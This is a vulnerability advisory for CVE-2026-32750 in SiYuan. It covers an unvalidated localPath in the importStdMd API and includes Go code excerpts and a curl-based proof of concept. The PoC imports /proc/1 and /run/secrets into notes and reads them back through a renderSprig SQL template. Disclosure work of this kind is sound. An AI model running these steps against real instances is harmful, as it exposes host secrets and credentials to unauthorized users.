CVE-2026-32750: SiYuan importStdMd: unvalidated localPath imports arbitrary host directories as persistent notes

Summary POST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users.

Details File: kernel/api/import.go - function importStdMd

go func importStdMd(c gin.Context) { notebook := arg["notebook"].(string) localPath := arg["localPath"].(string) // no validation whatsoever toPath := arg["toPath"].(string)

err := model.ImportFromLocalPath(notebook, localPath, toPath) // ↑ calls filelock.Walk(localPath, ...) - reads entire directory tree // and writes every file's content into workspace SQLite as note blocks }

model.ImportFromLocalPath (kernel/model/import.go:784): go func ImportFromLocalPath(boxID, localPath string, toPath string) (err error) { // ... filelock.Walk(localPath, func(currentPath string, d fs.DirEntry, ...) error { // reads file content → converts to .sy note → stores in database }) }

Unlike globalCopyFiles, there is no blocklist at all. Any readable path is accepted. The imported content is permanently stored in the workspace SQLite database and survives restarts.

Chained attack with Bug #1 (renderSprig): Admin imports sensitive files → content stored in blocks table → non-admin user queries via querySQL through renderSprig.

PoC Environment: bash docker run -d --name siyuan -p 6806:6806 \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit: bash TOKEN="YOURADMINTOKEN"

Step 1: Create a notebook to import into NOTEBOOK=$(curl -s -X POST http://localhost:6806/api/notebook/createNotebook \ -H "Authorization: Token $TOKEN" -H "Content-Type: application/json" \ -d '{"name":"Exfil"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['notebook']['id'])")

Step 2: Import /proc/1/ - stores cmdline, environ, maps as notes curl -s -X POST http://localhost:6806/api/import/importStdMd \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/proc/1\",\"toPath\":\"/\"}"

Step 3: Import Docker secrets (if present) curl -s -X POST http://localhost:6806/api/import/importStdMd \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/run/secrets\",\"toPath\":\"/\"}"

Step 4: Any authenticated user (non-admin) queries the imported secrets curl -s -X POST http://localhost:6806/api/template/renderSprig \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"template":"{{range $r := (querySQL \"SELECT content FROM blocks LIMIT 50\")}}{{$r.content}}\n---\n{{end}}"}'

Impact An admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike globalCopyFiles, there is no blocklist - /proc/, /etc/, /run/secrets/, /home/ are all accepted.

Data persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the renderSprig SQL injection (separate advisory), a non-admin user can then read all imported secrets without any additional privileges.